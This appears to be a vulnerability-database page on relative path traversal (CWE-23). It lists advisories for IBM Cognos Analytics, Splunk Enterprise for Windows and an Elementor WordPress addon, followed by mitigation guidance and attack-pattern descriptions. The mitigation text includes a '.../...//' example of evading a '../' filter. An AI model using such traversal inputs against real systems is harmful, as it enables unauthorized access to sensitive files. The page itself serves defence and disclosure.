IBM Cognos Analytics 11.2.0 through 11.2.4 FP5 is vulnerable to local file inclusion vulnerability, allowing an attacker to access sensitive files by inserting path traversal payloads inside the deficon parameter.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T03:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Analytics 11.2.0 through 11.2.4 FP5 is vulnerable to local file inclusion vulnerability, allowing an attacker to access sensitive files by inserting path traversal payloads inside the deficon parameter.",
  "id": "GHSA-j4w4-g97j-m5q9",
  "modified": "2025-10-17T18:31:06Z",
  "published": "2025-02-28T03:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2024-56340"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7183676"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J6XH-HX47-7X23

Vulnerability from github – Published: 2024-10-14 18:30 – Updated: 2024-10-14 18:30
VLAI
Details

In Splunk Enterprise for Windows versions below 9.3.1, 9.2.3, and 9.1.6, a low-privileged user that does not hold the "admin" or "power" Splunk roles could write a file to the Windows system root directory, which has a default location in the Windows System32 folder, when Splunk Enterprise for Windows is installed on a separate drive.

Severity
8.0 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-14T17:15:11Z",
    "severity": "HIGH"
  },
  "details": "In Splunk Enterprise for Windows versions below 9.3.1, 9.2.3, and 9.1.6, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could write a file to the Windows system root directory, which has a default location in the Windows System32 folder, when Splunk Enterprise for Windows is installed on a separate drive.",
  "id": "GHSA-j6xh-hx47-7x23",
  "modified": "2024-10-14T18:30:25Z",
  "published": "2024-10-14T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45731"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2024-1001"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/c97e0704-d9c6-454d-89ba-1510a987bf72"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J7R2-QXWX-HPFM

Vulnerability from github – Published: 2024-10-28 21:30 – Updated: 2026-04-01 18:32
VLAI
Details

Relative Path Traversal vulnerability in Webangon The Pack Elementor addons allows PHP Local File Inclusion.This issue affects The Pack Elementor addons: from n/a through 2.0.9.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-50453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-28T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "Relative Path Traversal vulnerability in Webangon The Pack Elementor addons allows PHP Local File Inclusion.This issue affects The Pack Elementor addons: from n/a through 2.0.9.",
  "id": "GHSA-j7r2-qxwx-hpfm",
  "modified": "2026-04-01T18:32:11Z",
  "published": "2024-10-28T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50453"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/the-pack-addon/vulnerability/wordpress-the-pack-elementor-addons-plugin-2-0-9-local-file-inclusion-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/the-pack-addon/wordpress-the-pack-elementor-addons-plugin-2-0-9-local-file-inclusion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-139: Relative Path Traversal

An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list